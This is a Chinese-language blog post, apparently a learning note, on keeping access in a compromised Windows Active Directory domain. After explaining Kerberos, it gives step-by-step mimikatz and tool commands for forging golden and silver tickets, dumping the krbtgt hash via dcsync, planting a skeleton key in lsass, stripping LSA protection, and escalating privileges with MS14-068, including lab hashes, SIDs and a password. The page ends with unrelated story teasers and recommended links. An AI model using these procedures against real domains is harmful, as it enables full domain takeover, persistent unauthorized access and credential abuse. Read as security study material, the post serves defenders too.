内网渗透-域环境权限维持

前言

在进入内网进行渗透横向过程中,有时候会遇到域环境。学习整理下域环境中权限维持相关的技术。
本次实验环境:
windows server 2012 x64(域控)
win7 x64 (域内主机)

常用命令

net view /domain 查询域列表
net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
ping 域控计算机名   查找域控地址  
ipconfig /all  通常域内主机 DNS 地址就是域控地址

kerberos协议

学习域渗透,绕不开对kerberos协议的学习。
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。

过程分析

当Client想要访问Server上的某个服务时,首先向AS证明自己的身份,AS认证通过发放TGT给Client,然后Client拿着TGT向TGS发起认证请求,认证通过返还一个ST给Client,最后Client拿着ST去访问serve,整个过程分为三步:
The Authentication Service Exchange: Client 与 AS 的交互
The Ticket Granting Service Exchange:Client 与 TGS 的交互
The Client/Server Authentication Exchange:Client 与 Server 的交互

Domain Controller (域控制器),简称DC,一台计算机,实现用户、计算机的统一管理。
KeyDistribution Center(秘钥分发中心),简称KDC,默认安装在域控。
Authentication Service(身份验证服务),简称AS,用于KDC对Client认证。
Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key。
Active Directory(活动目录),简称AD,用于存储用户、用户组、域相关的信息。
Client 客户端,指用户。
Server 服务端,某台计算机或者某个服务

Client 与 AS 的交互


KRB_AS_REQ:
Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client NTML Hash 加密的时间戳、Client ID、网络地址、加密类型等内容。
KBR_AS_REP:
当 AS 接受到 Client的请求后,向AD发起请求,通过AD获取密码Hash并且验证信息。验证成功后生成一个由Client Hash加密的Session Key as和使用域特定账户krbtgt Hash加密的TGT(包含了session key as,超时时间等信息)返回给cilent客户端。
kerberos 第一步请求完成。

Client 与 TGS 的交互


KBR_TGS_REQ:
client接收到as返回的KBR_AS_REP:,使用自身的hash解密第一部分得到Session Key as,由于不知道krbtgt的Hash,因此TGT无法解密。使用得到的Session-Key as 加密数据(timestamp、Client-info、Server-info)作为一部分,然后把无法解密的TGT做为第二部分组成KBR_TGS_REQ发送给TGS。
KBR_TGS-REP:
TGS 收到 Client 发送过来的 TGT 和 Session key-as 加密的数据(timestamp、Client-info、Server-info)后,使用krbtgt的hash解密TGT,得到Session-key as等信息,然后拿着Session-key as去解密第一部分,TGA将两部分中的时间戳,客户端等信息进行比较,如果认证都通过,发送KBR_TGS-REP给Client。
KBR_TGS-REP由二部分组成,第一部分是由Session-key as加密的Session-key tgs,第二部分是ST(由Server NTLM-hash加密的Session-key tgs、timestamp、Client-info)
kerberos第二步请求完成。

Client 与 Server 的交互


client接收到TGS返回的KBR_TGS-REP,首先使用Sessions-key as解密第一部分得到Session-key tgs,由于不知道Server NTML hash因此第二部分无法解密。
KRB_AP_REQ:
client使用得到的Session-key tgs对timetamp、Client-info、Server-info信息进行加密得到第一部分,ST做为第二部分发送给server。
KRB_AP_REP:
server收到client发送的KRB_AP_REQ,使用自身的server NTML-hash解密ST,得到Session-key tgs,再使用Session-key tgs解密第一部分,然后对两部分的内容进行比较。验证通过后发送KRB_AP_REP给client,两者建立通信。
kerberos第三步请求完成。

黄金票据

用于拿下域控主机后的权限维持,krbtgt 账户的密码基本不会更改。
Client通过了第一次AS认证后,返回给TGT用于第二次认证,通过伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。

原理分析

kerberos第二次认证发送的KBR_TGS_REQ由二部分组成:Session-Key as 加密数据(timestamp、Client-info、Server-info)和TGT
TGS并没有保存Session-Key as的值,因此可以随意构造Session-Key as,再利用krbtgt 用户的Hash对TGT进行伪造。

使用条件:

1、域名称
2、域的 SID
3、域的krbtgt账户的密码 hash 值
4、伪造的用户名,可以是任意用户,通常是administrator

利用过程

1、获取krbtgt账户 Hash
在域控主机上执行

mimikatz#lsadump::dcsync  /domain:tide.org /user:krbtgt
域名称:tide.org
域SID:S-1-5-21-1082813543-4064396809-3123302706
krbtgt账户hash:264d69c269433dacf814799a4e6e92e5

2、伪造黄金票据
在win7上使用mimikatz伪造黄金票据

kerberos::purge 清空票据缓存
kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi

执行成功后生成了Administrator.kiribi文件



3、导入黄金票据
导入生成的黄金票据到内存中,获取域控权限。

kerberos::ptt Administrator.kiribi

使用klist命令查看缓存的票证。


可以使用psexec.exe直接获取cmdshell,获取到域控权限。psexec.exe

psexec.exe \\域控计算机全名 cmd

白银票据

学习完黄金票据,再学习白银票据。
第二次认证返回ST给client,通过对ST进行伪造,跳过和client和KDC的前二次认证过程,直接与server进行认证。

原理分析

在第三次认证中,Client会向Server发送KRB_AP_REQ,包括两部分:
第一部分:Session key tgs 加密的 Client-info、timestamp 等信息
第二部分:ST(ticket):由Server NTLM-hash加密的数据(Session-key tgs、timestamp、Client-info)
因此,在知道Server NTLM-hash的情况下可以对ST进行伪造,server并没有保持Session key tgs,因此可以随意伪造Session key tgs。

使用条件

1、域名称
2、域的 SID
3、域中Server服务器账户的NTLM-Hash
4、伪造的用户名(可以是任意的)
用于拿下一台域内主机后的权限维持

利用过程

win7 x64 (域内主机)
windows server 2012 x64(域控)
获得windows server 2012共享的管理权限
1、获取主机名称的ntml hash

mimikatz  log  "privilege::debug" "sekurlsa::logonpasswords" 

2、伪造白银票据
因为伪造的是白银票据,没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造。



伪造共享服务cifs

kerberos::purge  清除票据缓存
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务  /rc4:NTLM  /user:username /ptt
1. /domain:域名
2. /sid:SID值
3. /target: 目标计算机全名
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机ntlm hash
6. /user: 要伪造的用户名,任意填写

在win7上使用mimikatz执行:

kerberos::golden /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /target:server2012.tide.org /service:cifs  /rc4:49b73d36d4b469c8ef789c13246856fb  /user:username /ptt

成功把白银票据写入内存,成功访问到目标主机的共享服务。


skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。
1、域控中安装skeleton key

mimikatz.exe privilege::debug "misc::skeleton"

2、域内主机使用密码登录域控
用户名administrator
mimikatz的默认Skeleton Key设置为mimikatz

net use * /delete /y 清除连接
net use \\server2012.tide.org\c$ mimikatz /user:tide\administrator 建立连接
net use 查看连接



成功访问当域控的C盘文件。

绕过LSA保护策略

微软在2014年3月12日添加了LSA保护策略,防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。
使用版本:
Windows 8.1以上
Windows Server 2012 R2以上
1、首先在域控主机上开启lsa保护策略。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

新建DWORD值,名称为RunAsPPL,数值为00000001



2、重启计算机,进行测试

mimikatz.exe privilege::debug "misc::skeleton"

添加失败


3、绕过lsa保护策略
mimikatz已经支持绕过lsa,该功能需要 mimidrv.sys 文件。mimikatz2.2.0
,

依次执行命令。

privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

成功绕过lsa保护策略。



ms14-068

ms14-068用于将普通域用户权限提升至域管理员权限。微软补丁号为kb3011780,理论上不属于权限维持的范畴,因为本文提到了kerberos认证,黄金、白银票据,因此一起进行实验。
漏洞原理建议查看:深入解读MS14-068漏洞:微软精心策划的后门?把ms14-068漏洞产生原因分享非常透彻。
总结来说ms14-068漏洞是在非常“巧合”的情况下利用特权属性证书PAC产生的。

ms14-068.exe

MS14-068.exe
1、首先获取当前用户的SID

whoami /user

2、生成票据

ms14-068.exe  -u tidewang@tide.org -s S-1-5-21-1082813543-4064396809-3123302706-1112 -d 10.211.55.12 -p nuoyan@123
-u 域用户@域名
-s 域用户SID
-d 域控制器ip地址
-p 域成员密码

命令执行后,会生成.ccache文件。



3、注入内存
使用mimikatz将票据注入到当前内存中。

kerberos::purge         //清空当前所有凭证
kerberos::list          //查看当前凭证
kerberos::ptc TGT_tidewang@tide.org.ccache   //将票据注入到内存中

利用失败提示检测到危害安全的尝试。



多次尝试仍然无法利用成功,猜测是server2012的原因。后续再进行单独的测试
更换在server2008域控的环境下执行成功。


cobaltstrike下使用

使用ms14-068.exe生成一个票据文件。
然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式。

python KrbCredExport.py TGT_tidewang\@tide.org.ccache user.ticket

在cs的beacon中执行命令,选择ticket文件。

kerberos_ticket_use

成功获得域控权限。

总结

本次对kerberos认证,黄金票据,白银票据,skeleton key,ms14-068利用进行了学习,实验了域环境下特有的权限维持手段。

参考文章

http://0-sec.org/
https://www.jianshu.com/p/13758c310242
https://www.bilibili.com/video/av51717543?from=search&seid=18287323415214240851
https://www.freebuf.com/vuls/56081.html
https://www.jianshu.com/p/27730ab4a6db

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,294评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,493评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,790评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,595评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,718评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,906评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,053评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,797评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,250评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,570评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,711评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,388评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,018评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,796评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,023评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,461评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,595评论 2 350

推荐阅读更多精彩内容

  • 这篇文章介绍了Mobile BI(移动商务智能)使用过程中涉及的各种身份认证的方式,主要目的是对这些方式的原理进行...
    雨_树阅读 2,009评论 1 2
  • 这篇文章以由浅入深、层层深入的方式讲述基于Kerberos的Windows Network Authenticat...
    readilen阅读 3,872评论 0 2
  • 前言 内网渗透大多数为域渗透。学习域渗透kerberos协议就是绕不过的一个难点,白银票据、黄金票据、攻击域控都离...
    CSeroad阅读 4,395评论 0 5
  • 最近老在项目的shell脚本中看到kinit这个东西,完整的命令是 kinit -k -t ./conf/kerb...
    sherlockyb阅读 42,020评论 0 18
  • 认认真真的过好每一天 人生如戏,每个人都是自己戏中的主角。重要的是如何创作自己人生的剧本。或许存在任由命运摆布的人...
    膜束科技阅读 176评论 0 0